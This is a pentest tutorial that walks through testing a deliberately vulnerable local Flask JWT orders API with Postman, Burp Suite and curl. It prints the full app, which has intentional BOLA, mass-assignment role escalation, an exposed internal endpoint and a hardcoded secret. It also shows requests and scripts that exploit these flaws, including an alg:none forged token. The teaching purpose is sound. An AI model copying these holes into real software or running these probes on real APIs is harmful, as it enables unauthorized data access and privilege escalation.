API Penetration Testing with Postman and Burp Suite

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package python3-flask / Flask 3.1.3
python3-jwt / PyJWT 2.12.1
curl
burpsuite 2026.8-0kali1 (Community)
Postman Desktop (optional GUI; same requests work with curl)
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003. API recon, authentication vs authorization, BOLA/IDOR, JWT token handling
Privilege Normal user for Flask, curl, Postman, and Burp
Scope API pentesting workflow with Postman and Burp: OpenAPI inventory, proxying, Repeater, auth vs authz, two-user BOLA, method/content-type probes, JWT structure and basic implementation checks. Not a full OWASP API Top 10 catalog, not GraphQL-only tooling, not a standalone JWT exploitation course (future separate page).
Related guides Insecure deserialization
Short on time?Beta Get the gist of this 19-minute read in seconds, then ask follow-up questions

API penetration testing means you talk to an API the way an app would, then change small details on purpose and watch what breaks.

In practice you will:

  1. Start a small lab API on your Kali machine
  2. Log in and copy a token
  3. Send the same request through Burp so you can edit it
  4. Swap an order ID and see whether the API leaks another user’s data

Postman is the easy place to build and send HTTP requests (login, headers, JSON body). Burp Suite sits in the middle so you can replay and tweak those requests. This page uses both. JWT is only the token format the lab returns after login, not the whole topic.

If Postman’s “Collections” sidebar is missing (common when you are not signed in), ignore Collections. Use New → HTTP request and type the URL yourself. That is enough for this lab.

IMPORTANT
Run these steps only on APIs you own or are authorized to test. Keep the lab on localhost or an isolated network per your rules of engagement. Do not probe third-party APIs or harvest other tenants' objects outside written scope.

Postman vs Burp for API testing

Tool What you use it for here
Postman Type method + URL, add JSON body, paste Bearer token, click Send
Burp Suite Catch that traffic, open Repeater, change one field, compare responses

Flow:

text
Postman (or curl)  →  Burp Proxy (127.0.0.1:8080)  →  API (127.0.0.1:42012)

Postman is the client. Burp is the workbench. If Proxy and Repeater are new, skim the Burp Suite proxy tutorial first, then come back.


Build a vulnerable JWT API lab

You will run a small intentional vulnerable Flask API on your machine. Think of it as a tiny shop:

  • Alice owns order 1001
  • Bob owns order 2002
  • Login returns a JWT (a long token string)
  • GET /api/orders/<id> only checks “is this token valid?”, not “do you own this order?”

Confirm packages

Check Flask and PyJWT:

bash
python3 -c 'from importlib.metadata import version; print(version("flask")); print(version("PyJWT"))'
output
3.1.3
2.12.1

If either import fails on Kali:

bash
sudo apt install python3-flask python3-jwt

Recheck the versions after install. Package installs that need elevation use the sudo command.

Create the lab directory

Make a folder for the intentional vulnerable API:

bash
mkdir -p ~/web-labs/api-jwt-pentesting

Save the vulnerable API

Create ~/web-labs/api-jwt-pentesting/app.py with this content:

python
#!/usr/bin/env python3
"""Intentional vulnerable JWT orders API for GoLinuxCloud API pentest lab."""
from __future__ import annotations

import time
from functools import wraps
from typing import Any

import jwt
from flask import Flask, g, jsonify, request

app = Flask(__name__)

# Lab-only secret — intentional weak value for local teaching, not production
JWT_SECRET = "glc-api-lab-secret-2026-pad-to-32b"
JWT_ISS = "glc-api-lab"
JWT_AUD = "glc-orders-api"
TOKEN_TTL = 3600

USERS = {
    "alice": {"password": "alicepass", "user_id": 1, "role": "user", "email": "alice@lab.local"},
    "bob": {"password": "bobpass", "user_id": 2, "role": "user", "email": "bob@lab.local"},
    "admin": {"password": "adminpass", "user_id": 9, "role": "admin", "email": "admin@lab.local"},
}

ORDERS = {
    1001: {
        "id": 1001,
        "owner_id": 1,
        "item": "Alice laptop lease",
        "total": 1299.00,
        "status": "open",
        "notes": "Alice shipping address confidential",
    },
    2002: {
        "id": 2002,
        "owner_id": 2,
        "item": "Bob phone upgrade",
        "total": 899.00,
        "status": "open",
        "notes": "Bob MFA recovery hint",
    },
}

OPENAPI = {
    "openapi": "3.0.3",
    "info": {
        "title": "GLC Orders API (lab)",
        "version": "1.0.0",
        "description": "Intentional vulnerable JWT API for authorized pentest practice.",
    },
    "servers": [{"url": "http://127.0.0.1:42012"}],
    "components": {
        "securitySchemes": {
            "bearerAuth": {"type": "http", "scheme": "bearer", "bearerFormat": "JWT"}
        }
    },
    "security": [{"bearerAuth": []}],
    "paths": {
        "/login": {
            "post": {
                "summary": "Issue JWT",
                "security": [],
                "requestBody": {
                    "required": True,
                    "content": {
                        "application/json": {
                            "schema": {
                                "type": "object",
                                "properties": {
                                    "username": {"type": "string"},
                                    "password": {"type": "string"},
                                },
                                "required": ["username", "password"],
                            }
                        }
                    },
                },
                "responses": {"200": {"description": "Token issued"}, "401": {"description": "Invalid"}},
            }
        },
        "/openapi.json": {
            "get": {
                "summary": "OpenAPI document",
                "security": [],
                "responses": {"200": {"description": "OpenAPI 3 JSON"}},
            }
        },
        "/api/me": {
            "get": {
                "summary": "Current user profile",
                "responses": {"200": {"description": "Profile"}},
            },
            "patch": {
                "summary": "Update profile fields",
                "responses": {"200": {"description": "Updated profile"}},
            },
        },
        "/api/me/orders": {
            "get": {
                "summary": "List my orders (ownership filtered)",
                "responses": {"200": {"description": "Orders"}},
            }
        },
        "/api/orders/{order_id}": {
            "get": {
                "summary": "Get order by id",
                "parameters": [
                    {
                        "name": "order_id",
                        "in": "path",
                        "required": True,
                        "schema": {"type": "integer"},
                    }
                ],
                "responses": {
                    "200": {"description": "Order"},
                    "401": {"description": "Unauthenticated"},
                    "403": {"description": "Forbidden"},
                    "404": {"description": "Not found"},
                },
            },
            "delete": {
                "summary": "Delete order (lab: auth only, no ownership)",
                "parameters": [
                    {
                        "name": "order_id",
                        "in": "path",
                        "required": True,
                        "schema": {"type": "integer"},
                    }
                ],
                "responses": {"200": {"description": "Deleted"}},
            },
        },
        "/api/internal/stats": {
            "get": {
                "summary": "Hidden internal stats (BFLA demo)",
                "responses": {"200": {"description": "Stats"}, "403": {"description": "Admin only"}},
            }
        },
    },
}


def issue_token(username: str, user: dict[str, Any]) -> str:
    now = int(time.time())
    payload = {
        "sub": str(user["user_id"]),
        "username": username,
        "user_id": user["user_id"],
        "role": user["role"],
        "iss": JWT_ISS,
        "aud": JWT_AUD,
        "iat": now,
        "exp": now + TOKEN_TTL,
    }
    return jwt.encode(payload, JWT_SECRET, algorithm="HS256")


def require_auth(fn):
    @wraps(fn)
    def wrapper(*args, **kwargs):
        auth = request.headers.get("Authorization", "")
        if not auth.startswith("Bearer "):
            return jsonify({"error": "missing bearer token"}), 401
        token = auth.split(" ", 1)[1].strip()
        try:
            claims = jwt.decode(
                token,
                JWT_SECRET,
                algorithms=["HS256"],
                audience=JWT_AUD,
                issuer=JWT_ISS,
            )
        except jwt.ExpiredSignatureError:
            return jsonify({"error": "token expired"}), 401
        except jwt.InvalidTokenError as exc:
            return jsonify({"error": "invalid token", "detail": str(exc)}), 401
        g.claims = claims
        g.username = claims.get("username")
        g.user_id = claims.get("user_id")
        g.role = claims.get("role", "user")
        return fn(*args, **kwargs)

    return wrapper


@app.get("/openapi.json")
def openapi():
    return jsonify(OPENAPI)


@app.get("/health")
def health():
    return jsonify({"ok": True, "service": "glc-orders-api"})


@app.post("/login")
def login():
    data = request.get_json(silent=True) or {}
    username = data.get("username", "")
    password = data.get("password", "")
    user = USERS.get(username)
    if not user or user["password"] != password:
        return jsonify({"error": "invalid credentials"}), 401
    token = issue_token(username, user)
    return jsonify(
        {
            "access_token": token,
            "token_type": "Bearer",
            "expires_in": TOKEN_TTL,
            "username": username,
            "user_id": user["user_id"],
        }
    )


@app.get("/api/me")
@require_auth
def me():
    u = USERS[g.username]
    return jsonify(
        {
            "username": g.username,
            "user_id": g.user_id,
            "role": u["role"],
            "email": u["email"],
        }
    )


@app.patch("/api/me")
@require_auth
def patch_me():
    """Vulnerable mass assignment: binds isAdmin/role from body."""
    data = request.get_json(silent=True) or {}
    u = USERS[g.username]
    if "email" in data:
        u["email"] = data["email"]
    # Intentionally unsafe binding for the lab
    if "role" in data:
        u["role"] = data["role"]
    if data.get("isAdmin") is True:
        u["role"] = "admin"
    return jsonify(
        {
            "username": g.username,
            "user_id": g.user_id,
            "role": u["role"],
            "email": u["email"],
            "warning": "lab mass-assignment path may elevate role",
        }
    )


@app.get("/api/me/orders")
@require_auth
def my_orders():
    mine = [o for o in ORDERS.values() if o["owner_id"] == g.user_id]
    return jsonify({"orders": mine})


@app.get("/api/orders/<int:order_id>")
@require_auth
def get_order(order_id: int):
    """BOLA: authenticated but no ownership check."""
    order = ORDERS.get(order_id)
    if not order:
        return jsonify({"error": "not found"}), 404
    return jsonify(order)


@app.delete("/api/orders/<int:order_id>")
@require_auth
def delete_order(order_id: int):
    """Hidden write path for method probing — still no ownership check."""
    order = ORDERS.pop(order_id, None)
    if not order:
        return jsonify({"error": "not found"}), 404
    return jsonify({"deleted": True, "id": order_id})


@app.get("/api/internal/stats")
@require_auth
def internal_stats():
    """BFLA-style: documented poorly; should be admin-only but only checks login."""
    return jsonify(
        {
            "users": len(USERS),
            "orders": len(ORDERS),
            "secret_hint": "lab-only internal endpoint",
        }
    )


@app.route("/api/orders/<int:order_id>", methods=["OPTIONS"])
def order_options(order_id: int):
    return (
        "",
        204,
        {
            "Allow": "GET, DELETE, OPTIONS",
            "Access-Control-Allow-Methods": "GET, DELETE, OPTIONS",
        },
    )


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=42012, debug=False)
Output

Endpoints you will use:

Endpoint Intended behavior Lab reality
POST /login Issue JWT Works for alice / bob / admin
GET /openapi.json Machine-readable docs Public
GET /api/me Profile Requires Bearer JWT
PATCH /api/me Update email Also binds isAdmin / role (mass assignment)
GET /api/me/orders List my orders Ownership filtered
GET /api/orders/<id> Get one order Authenticated but no ownership check (BOLA)
DELETE /api/orders/<id> Delete order Present for method probing; also no ownership check
GET /api/internal/stats Admin stats Lightly documented; any valid JWT can call it

Start Flask

Start the API on loopback port 42012. Leave this process running while you test:

bash
python3 ~/web-labs/api-jwt-pentesting/app.py

In another terminal, confirm health:

bash
curl -s http://127.0.0.1:42012/health
output
{"ok":true,"service":"glc-orders-api"}

Optional Postman files can sit beside the app (GLC-Orders-API.postman_collection.json and environment). Every security proof below is shown with curl so Kali without a Postman GUI still works.


Find API docs with OpenAPI

Before you guess URLs, ask whether the API already published a machine-readable map. On this lab that file is /openapi.json.

Fetch it:

bash
curl -s http://127.0.0.1:42012/openapi.json | jq '{title:.info.title, paths:(.paths|keys)}'
output
{
  "title": "GLC Orders API (lab)",
  "paths": [
    "/api/internal/stats",
    "/api/me",
    "/api/me/orders",
    "/api/orders/{order_id}",
    "/login",
    "/openapi.json"
  ]
}

You can import that URL in Postman if your build supports OpenAPI import. If Import only opens a raw GET tab, skip it and keep using New → HTTP with the paths from the table below.

On real engagements also try /swagger, /docs, and /redoc. Here /openapi.json is enough.


Map API endpoints and methods

Build a simple inventory before you chase bugs. For this lab:

Endpoint Method Auth Object ID Notes
/login POST none . JSON username/password → JWT
/api/me GET, PATCH Bearer . Profile; PATCH accepts extra fields
/api/me/orders GET Bearer . Correctly scoped list
/api/orders/{id} GET, DELETE, OPTIONS Bearer 1001, 2002 BOLA on GET/DELETE
/api/internal/stats GET Bearer . Unexpected for normal users

Record content types you see (application/json here). Later, try an unexpected type on a write endpoint and note whether the API rejects it cleanly.


Log in and get a JWT in Postman

You will work inside the Postman window (not Burp yet).

If you do not see a Collections list on the left, that is fine. Click New (top left) and choose an HTTP request. You only need the big URL bar, the method dropdown (GET / POST), the tabs under it (Body, Authorization, Headers), and the blue Send button.

Two ports to remember:

Port Meaning
42012 Lab API (use this for login and orders)
42014 Optional helper only (ignore it for API testing)

Get a token with curl first

Log in as Alice with the curl command so you know what a good response looks like:

bash
curl -s -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"alicepass"}' \
  http://127.0.0.1:42012/login
output
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","expires_in":3600,"token_type":"Bearer","user_id":1,"username":"alice"}

Your access_token string will not match screenshots or earlier runs. Each login mints a new JWT (iat / exp change). Copy the token from your response.

Save it for later commands:

bash
AT=$(curl -s -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"alicepass"}' \
  http://127.0.0.1:42012/login | jq -r .access_token)

Wrong password returns 401:

bash
curl -s -w '\nHTTP %{http_code}\n' -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"wrong"}' \
  http://127.0.0.1:42012/login
output
{"error":"invalid credentials"}

HTTP 401

Log in with Postman (POST /login)

Do this in Postman:

  1. Click New → HTTP request (new tab is fine)
  2. Change the method dropdown to POST (not GET)
  3. Paste this URL: http://127.0.0.1:42012/login
  4. Open the Body tab → choose raw → set the type on the right to JSON
  5. Paste: {"username":"alice","password":"alicepass"}
  6. Click Send

You want 200 OK and a JSON body with access_token.

Postman POST login request returning Alice JWT access token from the API lab

That response means authentication worked: the API accepted Alice’s password and issued a Bearer JWT for later calls. Copy the full access_token value (do not invent one from this article).

Call GET /api/me with your token

Now prove the token works on a protected route.

  1. New HTTP request (another tab)
  2. Method must be GET. If you leave POST, the lab returns 405 Method Not Allowed
  3. URL: http://127.0.0.1:42012/api/me
  4. Open Authorization → Type Bearer Token → paste only the long token string
    (If you use the Headers tab instead, the value must be Bearer plus the token)
  5. Send

Success looks like Alice’s profile ("username":"alice", "user_id":1). Failure with no token is 401.

What the token is for

  • Login gives you access_token and expires_in (here 3600 seconds)
  • Later requests send Authorization: Bearer <token>
  • When it expires, log in again and paste the new token
  • Your token will never match a screenshot exactly. That is normal.

Send Postman traffic through Burp

Up to now Postman talked to the API alone. Next you put Burp in the middle so every Send from Postman shows up in Burp, where you can edit it.

Simple picture: Postman → Burp (8080) → lab API (42012).

Start Burp’s listener

  1. Open Burp Suite from the Kali menu while logged in as a normal user (not root)
  2. Temporary project → Start Burp
  3. Go to Proxy → Proxy settings and confirm a listener on 127.0.0.1 port 8080
  4. Go to Proxy → Intercept and click until it says Intercept is off (otherwise Postman will hang waiting for you)

Point Postman at Burp

  1. Postman → Settings (gear) → Proxy
  2. Uncheck “Use the system proxy” if you only want the Burp path
  3. Check Add a custom proxy configuration
  4. Enable HTTP (and HTTPS if needed)
  5. Proxy server 127.0.0.1, port 8080
  6. Leave Proxy Auth off for this lab

Postman Settings Proxy with custom proxy 127.0.0.1 port 8080 enabled

With that set, Postman sends Builder traffic to Burp first. Burp then forwards to 127.0.0.1:42012.

This lab uses plain HTTP on localhost, so you do not need Burp’s CA. For HTTPS APIs you must trust Burp’s CA or TLS handshakes fail.

Capture GET /api/me in Burp

Send the same GET /api/me with Alice’s Bearer token again from Postman. In Burp, open Proxy → HTTP history, find the row, then Send to Repeater so you can edit it.

Without a token the API rejects the call:

bash
curl -s -w '\nHTTP %{http_code}\n' http://127.0.0.1:42012/api/me
output
{"error":"missing bearer token"}

HTTP 401

401 here is authentication failure (no identity), not an authorization decision about an object.

In Repeater, confirm GET /api/me still returns Alice’s profile with your Bearer header:

Burp Repeater GET /api/me with Alice Bearer token after Postman proxy capture

A 200 profile response means Burp is on the path and the JWT still authenticates.


Edit requests in Burp Repeater

Repeater is Burp’s “edit and resend” screen. After a request appears in HTTP history, right-click it → Send to Repeater. Then change one thing and click Send in Burp.

  • Path (/api/orders/1001 vs /api/orders/2002)
  • Method (GET vs PUT / DELETE)
  • Authorization header (Alice token vs Bob token)

A leftover JSON login body from Postman on a GET does not matter for this lab. Clear it if you want a cleaner request. The Bearer header is what authenticates you.

Lab object IDs:

ID Owner
1001 Alice (owner_id 1)
2002 Bob (owner_id 2)

1002 is not a valid order. It returns 404 and is not a BOLA proof.


Authentication vs authorization

These two words get mixed up. Keep them separate:

  • Authentication: did the API accept your login/token? (401 means no)
  • Authorization: now that it knows who you are, may you touch this object? (wrong user’s data with a valid token is the bug)
Question Name Lab signal
Who are you? Authentication No token → 401; bad JWT → 401; login failure → 401
May you touch this object? Authorization Valid Alice token reading Bob’s order 2002 should be 403/404, not 200 with Bob’s data

Status codes you will see:

Code Meaning here
401 Not logged in / bad token
403 Logged in, but not allowed
404 Missing object (or hidden on purpose)
200 with another user’s object BOLA / IDOR proof

Unauthenticated order fetch:

bash
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:42012/api/orders/1001
output
401

Test BOLA with two user tokens

BOLA (also called IDOR in many reports) means: you are logged in, but the API still returns someone else’s object when you change an ID.

This page only shows the two-account method. The deeper object-authorization guide is IDOR / BOLA.

Token Object Expected if authorization works Observed on this lab
Alice 1001 (Alice) 200 Alice order 200 Alice order
Alice 2002 (Bob) 403/404 200 Bob order (BOLA)
Bob 1001 (Alice) 403/404 200 Alice order (BOLA)
Alice /api/me/orders Only Alice rows Only 1001 (correct)

Alice reads her own order (baseline)

In Repeater, keep Alice’s Bearer token and set the path to her order:

http
GET /api/orders/1001 HTTP/1.1

The same check with curl (use your current $AT):

bash
curl -s -H "Authorization: Bearer $AT" http://127.0.0.1:42012/api/orders/1001
output
{"id":1001,"item":"Alice laptop lease","notes":"Alice shipping address confidential","owner_id":1,"status":"open","total":1299.0}

Burp Repeater GET /api/orders/1001 with Alice token returning Alice order owner_id 1

200 with owner_id: 1 is the normal case: authenticated Alice reads her own object.

Alice token on Bob’s order (BOLA)

In Repeater, change only the path to Bob’s ID (2002, not 1002):

http
GET /api/orders/2002 HTTP/1.1

Confirm with curl using the same Alice token:

bash
curl -s -H "Authorization: Bearer $AT" http://127.0.0.1:42012/api/orders/2002
output
{"id":2002,"item":"Bob phone upgrade","notes":"Bob MFA recovery hint","owner_id":2,"status":"open","total":899.0}

Burp Repeater GET /api/orders/2002 with Alice token returning Bob order owner_id 2

That is the BOLA finding. Authentication still says “Alice” (same Bearer token). Authorization failed: the handler returned Bob’s order (owner_id: 2), including sensitive notes. A fixed API would answer 403 or 404 here.

Correctly scoped list for contrast:

bash
curl -s -H "Authorization: Bearer $AT" http://127.0.0.1:42012/api/me/orders
output
{"orders":[{"id":1001,"item":"Alice laptop lease","notes":"Alice shipping address confidential","owner_id":1,"status":"open","total":1299.0}]}

/api/me/orders only returns Alice’s rows. The bug is on /api/orders/<id>, not on the scoped list.


Find hidden endpoints and methods

Ask what methods the resource advertises:

bash
curl -s -D - -o /dev/null -X OPTIONS http://127.0.0.1:42012/api/orders/1001
output
HTTP/1.1 200 OK
Allow: GET, DELETE, HEAD, OPTIONS

DELETE appears even if your OpenAPI skim focused on GET. Unsupported methods should fail cleanly:

bash
curl -s -w '\nHTTP %{http_code}\n' -X PUT \
  -H "Authorization: Bearer $AT" \
  -H 'Content-Type: application/json' \
  -d '{}' \
  http://127.0.0.1:42012/api/orders/1001
output
<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
...

HTTP 405

Try a path that docs barely emphasize:

bash
curl -s -H "Authorization: Bearer $AT" http://127.0.0.1:42012/api/internal/stats
output
{"orders":2,"secret_hint":"lab-only internal endpoint","users":3}

Any valid user JWT can call it on this lab. Treat that as function-level authorization weakness, and expand discovery with techniques from find hidden endpoints on larger targets.


Read a JWT header and payload

A JWT is three Base64URL chunks separated by dots: header, payload, signature. It looks secret, but the middle part is only encoded, not encrypted. Anyone with the token can read the claims. The signature is what stops easy tampering when the server checks it correctly.

Decode Alice's token without trusting it (signature not verified yet):

bash
python3 - <<'PY'
import jwt, json, urllib.request
req = urllib.request.Request(
    "http://127.0.0.1:42012/login",
    data=b'{"username":"alice","password":"alicepass"}',
    headers={"Content-Type": "application/json"},
    method="POST",
)
tok = json.load(urllib.request.urlopen(req))["access_token"]
print(json.dumps({
    "header": jwt.get_unverified_header(tok),
    "payload": jwt.decode(tok, options={"verify_signature": False}),
}, indent=2))
PY
output
{
  "header": {
    "alg": "HS256",
    "typ": "JWT"
  },
  "payload": {
    "sub": "1",
    "username": "alice",
    "user_id": 1,
    "role": "user",
    "iss": "glc-api-lab",
    "aud": "glc-orders-api",
    "iat": 1788586918,
    "exp": 1788590518
  }
}

Base64URL encoding is not encryption. Anyone who sees the token can read claims. Integrity depends on signature verification with the correct algorithm and key. Paste your live access_token into jwt.io or Burp’s JWT inspector if you want a GUI view. Do not expect the token string in screenshots to match a later login.


JWT security checks to run

Keep this checklist short on this page. Deep exploitation belongs on a future JWT-focused article.

Check What you want to see
Signature verified Tampered payload rejected
Algorithm allowlist Server accepts only expected alg values (here HS256)
Expiry enforced Expired exp → 401
Audience / issuer Wrong aud / iss rejected when the API claims to check them
Key handling Secrets not hardcoded in clients; not guessable in production
alg: none Unsigned token rejected
Algorithm confusion HS256/RS256 mix-ups rejected (concept; needs asymmetric setup to demo fully)

Expired token on this lab

Build a token whose exp is already in the past and send it to /api/me:

bash
python3 - <<'PY'
import jwt, time, urllib.request, urllib.error
tok = jwt.encode({
    "sub": "1", "username": "alice", "user_id": 1, "role": "user",
    "iss": "glc-api-lab", "aud": "glc-orders-api",
    "iat": int(time.time()) - 7200, "exp": int(time.time()) - 3600,
}, "glc-api-lab-secret-2026-pad-to-32b", algorithm="HS256")
req = urllib.request.Request(
    "http://127.0.0.1:42012/api/me",
    headers={"Authorization": f"Bearer {tok}"},
)
try:
    urllib.request.urlopen(req)
except urllib.error.HTTPError as e:
    print("status:", e.code)
    print(e.read().decode())
PY
output
status: 401
{"error":"token expired"}

alg: none probe

Craft an unsigned token and send it. This lab rejects it:

bash
python3 - <<'PY'
import base64, json, urllib.request, urllib.error
def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
header = b64url(json.dumps({"alg": "none", "typ": "JWT"}, separators=(",", ":")).encode())
payload = b64url(json.dumps({
    "sub": "1", "username": "alice", "user_id": 1, "role": "admin",
    "iss": "glc-api-lab", "aud": "glc-orders-api",
    "iat": 1700000000, "exp": 9999999999,
}, separators=(",", ":")).encode())
token = f"{header}.{payload}."
req = urllib.request.Request(
    "http://127.0.0.1:42012/api/me",
    headers={"Authorization": f"Bearer {token}"},
)
try:
    urllib.request.urlopen(req)
except urllib.error.HTTPError as e:
    print("status:", e.code)
    print(e.read().decode())
PY
output
status: 401
{"detail":"The specified alg value is not allowed","error":"invalid token"}

Why JWT attacks often fail today

alg: none and algorithm-confusion bugs are implementation mistakes, not properties of using JWT. Many frameworks reject none by default now. Always test the target's behavior before you report a JWT finding.

On this lab, unsigned tokens fail. BOLA still succeeds with a valid Alice token and Bob's object ID. That is the higher-severity API issue for this walkthrough.


Test mass assignment and logic

Stay brief. Probe for behavior changes without turning this into every OWASP API category.

Mass assignment style fields

Profile GET returns role. Try binding a privileged field on PATCH:

bash
curl -s -X PATCH \
  -H "Authorization: Bearer $AT" \
  -H 'Content-Type: application/json' \
  -d '{"email":"alice+lab@lab.local","isAdmin":true}' \
  http://127.0.0.1:42012/api/me
output
{"email":"alice+lab@lab.local","role":"admin","user_id":1,"username":"alice","warning":"lab mass-assignment path may elevate role"}

Restart the Flask process after this test if you need Alice back as role=user for clean demos.

Other quick probes

  • Unexpected values on write endpoints when they exist
  • Rate limits on /login (this lab has none. note that in a real report)
  • State transitions (delete then GET) on orders when authorized

Record API pentest findings

For each issue, capture:

Field Example from this lab
Endpoint GET /api/orders/2002
Method GET
Identity Alice JWT (user_id=1)
Request Bearer Alice + path 2002
Expected 403/404
Observed 200 with Bob's notes
Impact Horizontal disclosure of another user's order

Same template for mass assignment (PATCH /api/me + isAdmin) and for any JWT check that actually fails closed or open.


API pentesting troubleshooting

Symptom Likely cause Fix
Postman Import opens GET …/collection.json Link imported as a raw request, not a Collection Build POST /login and GET calls by hand in New → HTTP
No Collections sidebar / no environment eye Free Postman without sign-in Skip Collections; paste Bearer tokens per request
405 on /api/me Used POST Use GET /api/me
Postman works, Burp history empty Proxy not set or Intercept stuck Custom proxy 127.0.0.1:8080; Intercept off
401 on every call Stale or missing Bearer token Re-run /login; paste the new token (tokens change every login)
HTTPS errors in Postman via Burp Missing Burp CA Trust Burp CA, or stick to this HTTP lab
Order 1002 returns 404 Wrong ID Alice 1001, Bob 2002
BOLA “fails” but you used /api/me/orders Wrong endpoint Cross-object IDs on /api/orders/<id>
Alice suddenly role=admin Mass-assignment test mutated process memory Restart app.py
Connection refused :42012 Flask not running Start python3 ~/web-labs/api-jwt-pentesting/app.py again

Summary

API pentesting with Postman and Burp is a workflow: import or fetch docs, map endpoints, authenticate two users, proxy traffic, and replay precise mutations in Repeater. Postman organizes the client view; Burp proves what happens when identity, object IDs, methods, or tokens change.

On this lab, a valid Alice JWT reading order 2002 returned Bob's data. authentication without object-level authorization. /api/me/orders showed the correct pattern. JWT checks rejected alg: none and expired tokens, which is what you want to see before you claim a token bug. Mass assignment on PATCH /api/me still elevated role, so business-logic binding remains in scope even when classic JWT attacks fail closed.

Use the IDOR/BOLA guide for deeper object-authorization methodology, and the Burp proxy guide if Proxy or Repeater still feel new. A future standalone JWT article can expand algorithm confusion and key-handling attacks without bloating this page.


References


Frequently Asked Questions

Should I use Postman or Burp for API pentesting?

Use both. Postman (or an equivalent client) holds collections, environments, and readable auth. Burp intercepts and mutates the same HTTP messages for security proofs.

What is BOLA in an API test?

Broken object level authorization: you are authenticated, but the API returns or changes another user's object when you swap an ID. It overlaps heavily with classic IDOR testing.

Does every JWT accept the none algorithm?

No. That is an implementation flaw. This lab rejects alg none. Always test the target before reporting.

Why did I get 401 instead of 403?

401 usually means the server does not accept your authentication material. 403 usually means it knows who you are but refuses the action. APIs sometimes blur these codes, so record both the code and the body.

Is Base64 in a JWT encryption?

No. Header and payload are encoded for transport, not encrypted. Anyone with the token can read claims unless additional encryption (JWE) is used.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)